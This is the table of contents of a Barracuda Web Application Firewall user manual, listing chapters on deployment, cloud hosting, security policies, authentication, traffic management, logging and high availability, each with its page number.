Barracuda Web Application Firewall 使用手冊

1. Barracuda Web Application Firewall - Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5
1.1 What's New in the Barracuda Web Application Firewall . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
1.1.1 Release Notes Version 8.1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
1.1.2 Release Notes Version 8.0.1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
1.1.10 Release Notes Version 7.7 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
1.2 30 Day Evaluation Guide - Barracuda Web Application Firewall . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
1.3 Deployment Options . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
1.3.1 Choosing Your Deployment Mode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
1.3.1.1 Configuring Two-Arm Proxy Mode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
1.3.1.2 Configuring One-Arm Proxy Mode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
1.3.1.3 Configuring Bridge-Path Mode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
1.3.2 Public Cloud Hosting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
1.3.2.1 Microsoft Azure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
1.3.2.1.1 Deploying and Provisioning the Barracuda Web Application Firewall on Microsoft Azure . . . . . . . . . . . . . . . . . 51
1.3.2.1.2 Barracuda Web Application Firewall Quick Start Guide - Microsoft Azure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
1.3.2.1.3 Creating the Barracuda Web Application Firewall Image on Microsoft Azure . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
1.3.2.1.4 Adding an Additional Public IP Address on Microsoft Azure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
1.3.2.1.5 Load Balancing For Clustered Barracuda Web Application Firewall Instances on Microsoft Azure . . . . . . . . . . 75
1.3.2.2 Amazon Web Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93
1.3.2.2.1 Barracuda Web Application Firewall Deployment and Quick Start Guide for Amazon Web Services . . . . . . . . 98
1.3.2.2.2 Load Balancing For Clustered Barracuda Web Application Firewall Instances in Amazon Web Services (AWS) . 105
105
1.3.2.2.3 Disk Expansion of the Barracuda Web Application Firewall on Amazon Web Services (AWS) . . . . . . . . . . . . . 109
1.3.2.2.4 Troubleshooting the Barracuda Web Application Firewall on Amazon Web Services . . . . . . . . . . . . . . . . . . . . 112
1.3.2.2.5 Auto Scaling of Barracuda Web Application Firewall using CloudFormation Template on Amazon Web Services .
113
1.3.2.3 vCloud Air . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 138
1.3.2.3.1 Barracuda Web Application Firewall Quick Start Guide on vCloud Air . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 147
1.3.2.3.2 Configure NAT and Firewall Rules on vCloud . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 150
1.3.2.3.3 Clustering of Two Barracuda Web Application Firewalls on vCloud . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153
1.3.2.3.4 Best Security Practices for the Barracuda Web Application Firewall on vCloud . . . . . . . . . . . . . . . . . . . . . . . . . 155
1.3.2.3.5 Setting Up the Management Interface for the Barracuda Web Application Firewall on vCloud . . . . . . . . . . . . . 156
1.3.3 Virtual Deployment . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157
1.3.3.1 How to Deploy Barracuda Web Application Firewall Vx Images . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 158
1.3.3.2 Allocating Cores, RAM, and Hard Disk Space for Your Barracuda Web Application Firewall Vx . . . . . . . . . . . . . . . . . 161
1.3.3.3 Barracuda Web Application Firewall Vx Quick Start Guide . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 163
1.3.3.4 Backing Up Your Virtual Machine System State . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 166
1.4 Getting Started . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167
1.4.1 Step 1: Installing the Barracuda Web Application Firewall . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168
1.4.1.1 Prepare for the Installation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 169
1.4.1.2 Connect the Barracuda Web Application Firewall to the Network . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 170
1.4.1.3 Configure the IP Address and Network Settings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 171
1.4.1.4 Configure the Barracuda Web Application Firewall from the Web Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 172
1.4.1.5 Activate the Subscription Status . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 173
1.4.1.6 Update the Barracuda Web Application Firewall Firmware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 174
1.4.1.7 Update the Attack, Virus, Security and GeoIP Definitions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 175
1.4.2 Step 2: Configuring a Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 176
1.4.3 Step 3: Configuring Basic Service Settings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 178
1.4.3.1 Configuring SSL for Services and Servers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 179
1.5 Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 181
1.5.1 Creating an HTTP Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 182
1.5.2 Creating an HTTPS Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 183
1.5.2.1 Enabling HSTS for a Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 184
1.5.3 Securing an HTTP Website with HTTPS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 185
1.5.4 Creating a Redirect Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 186
1.5.5 Creating a Custom Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 187
1.5.6 Creating a Custom SSL Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 188
1.5.7 Creating an FTP Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 189
1.5.8 Creating an FTP SSL Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 190
1.6 Securing HTTP/HTTPS Traffic . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 191
1.6.1 Security Policies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 192
1.6.1.1 Configuring Request Limits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 194
1.6.1.2 How to Secure HTTP Cookies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 195
1.6.1.2.1 Cookie Tampering Attacks Logged When the Barracuda Web Application Firewall Is Initially Deployed . . . . . . 196
1.6.1.3 Configuring URL Protection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 197
1.6.1.4 Configuring Parameter Protection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 198
1.6.1.5 Limiting Allowed Methods in HTTP Headers and Content . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 199
1.6.1.6 Configuring Cloaking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 200
1.6.1.7 Configuring Data Theft Protection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 201
1.6.1.8 Configuring URL Normalization . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 203
1.6.1.9 Configuring Global ACLs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 204
1.6.1.10 Configuring Action Policy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 205
1.6.2 Back-end SSL Server Configuration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 206
1.6.3 Allow/Deny Rules for Headers and URLs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 207
1.6.3.1 Allow/Deny Rules for Headers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 208
1.6.3.2 Allow/Deny Rules for URLs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 209
1.6.4 How to Configure URL Encryption Rule . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 210
1.6.5 How to Create a Custom Response Page . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 211
1.6.6 How to Enable HTTP/2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214
1.6.7 How to Enable WebSocket . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215
1.7 JSON Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 216
1.7.1 JSON Key Profile . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 218
1.8 Web Services and XML Firewall Protection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219
1.8.1 Web Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 220
1.8.2 Configuring XML Firewall to Protect a Web Application . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 223
1.8.3 Web Service Validation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 224
1.9 Advanced Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 225
1.9.1 Enabling Antivirus Protection for File Uploads and Downloads . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 226
1.9.2 Enabling Data Theft Protection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 227
1.9.3 Enabling Brute Force Protection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 229
1.9.4 How to Configure Session Tracking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 230
1.9.5 Enabling Clickjacking Protection for a Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 231
1.9.6 Configuring User Defined Patterns . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 232
1.9.6.1 Regular Expression Notation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 236
1.9.7 How to Clear Locked Out Clients . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 238
1.9.8 How to Configure a Web Scraping Policy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 239
1.10 Application DDoS Attack Protection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 242
1.10.1 Configuring IP Reputation Filter . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 243
1.10.2 Configuring DDoS Policy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 245
1.10.3 Slow Client Attack Prevention . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 247
1.10.4 How To Configure Secure Browsing For An HTTPS Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 249
1.11 Tuning Security Rules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 252
1.11.1 Tuning Security Rules Using Web Firewall Logs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 253
1.11.2 How to Configure Exception Profiling . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 261
1.11.3 Configuring Action Policy for Attack Groups . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 263
1.11.4 How to Configure Trusted Hosts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 264
1.11.5 Mitigating Website Vulnerabilities using Vulnerability Scanners . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 266
1.11.5.1 Scanning Your Web Application Using the Barracuda Vulnerability Manager . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 268
1.11.6 How to Configure Adaptive Profiling . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 269
1.11.6.1 Profile Optimizers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 272
1.11.6.1.1 URL Optimizers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 273
1.11.6.1.2 Parameter Optimizers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 274
1.11.7 Configuring Website Profiles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 275
1.12 Access Control . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 282
1.12.1 How to Configure Authentication and Access Control (AAA) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 283
1.12.1.1 How to Configure Dual Authentication for LDAP/RADIUS/RSA SecurID Authentication Service . . . . . . . . . . . . . . . . 289
1.12.1.2 How to Configure Multi-domain LDAP Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 291
1.12.2 Kerberos Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 292
1.12.2.1 How to Configure Multi-domain Kerberos Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 296
1.12.3 How to Set Up a Custom Login Page for Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 297
1.12.3.1 Deploying the Custom Login Page on the Barracuda Web Application Firewall . . . . . . . . . . . . . . . . . . . . . . . . . . . . 299
1.12.4 How to Configure Single Sign-On (SSO) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 304
1.12.5 How to Configure SiteMinder Single Sign-On (SSO) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 307
1.12.6 How to Integrate RSA SecurID with the Barracuda Web Application Firewall . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 310
1.12.7 How to Integrate CA SiteMinder with the Barracuda Web Application Firewall . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 318
1.12.8 How to Use Client Certificates . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 332
1.12.8.1 Allowing or Denying Client Certificates . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 333
1.12.8.2 Client Certificate Validation Using OCSP and CRLs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 334
1.12.8.3 How to Pass Client Certificate Details to a Back-end Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 336
1.12.9 RSA SecurID Implementation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 337
1.12.10 How to Configure SMS Passcode Authentication Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 343
1.12.11 How to Set Up a Custom Challenge Page for Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 344
1.12.12 SAML Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 347
1.12.12.1 Configuring SAML on the Barracuda Web Application Firewall . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 348
1.12.12.2 Advanced Configuration for SAML Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 351
1.12.12.3 Configuring Identity Provider (IdP) for SAML Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 355
1.12.12.4 Configuring Single Sign-On using SAML Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 361
1.12.13 Pre-Authentication for ActiveSync . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 363
1.13 Traffic Management . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 366
1.13.1 Load Balancing Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 367
1.13.2 Configuring Load Balancing for a Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 370
1.13.2.1 Configuring Server Settings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 372
1.13.2.2 How to Add a Real Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 374
1.13.3 Configuring Caching and Compression . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 375
1.13.4 How to Configure Rate Control . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 377
1.13.5 Using Connection Pooling: How and Why . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 379
1.13.6 Content Routing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 380
1.13.6.1 How to Add a Content Rule . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 381
1.13.6.2 How to Redirect Traffic to a Different Back-end Server Based on a URL Pattern . . . . . . . . . . . . . . . . . . . . . . . . . . . 382
1.13.7 Content Rewriting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 383
1.13.8 How to Allow Internet Access for the Back-end Servers in Two-Arm Proxy Mode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 386
1.14 Logging, Reporting and Monitoring . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 387
1.14.1 Logs Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 388
1.14.2 How to Configure Syslog and other Logs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 390
1.14.3 How to Make the Client IP Address Available to the Back-end Server in Proxy Mode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 405
1.14.3.1 Configuring Client Impersonation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 411
1.14.3.2 Logging Actual Client IP Address on the Apache Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 412
1.14.3.3 Logging Actual Client IP Address In the IIS 7 and IIS 7.5 Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 413
1.14.4 How to Mask Sensitive Data in Logs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 418
1.14.5 Reporting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 419
1.14.5.1 Security Reports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 423
1.14.5.2 Traffic Reports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 427
1.14.5.3 Summary Reports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 432
1.14.5.4 Administration/Audit Reports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 435
1.14.5.5 Configuration Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 437
1.14.5.6 PCI DSS Reports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 440
1.14.5.7 Reporting 7.8 and Earlier . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 443
1.14.6 How to Set Up Barracuda Cloud Control . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 444
1.14.7 Receiving Trap Messages and System Alerts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 445
1.14.8 System Log Messages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 446
1.14.9 Configuring Notifications . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 469
1.14.10 How to Export Logs to ArcSight SIEM Devices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 471
1.15 High Availability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 473
1.15.1 How to Set Up a High Availability Environment with Two Barracuda Web Application Firewalls . . . . . . . . . . . . . . . . . . . . . 476
1.15.2 Failover and Failback in an Active-Active Cluster . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 478
1.15.3 How to Remove or Replace Units in a Cluster . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 481
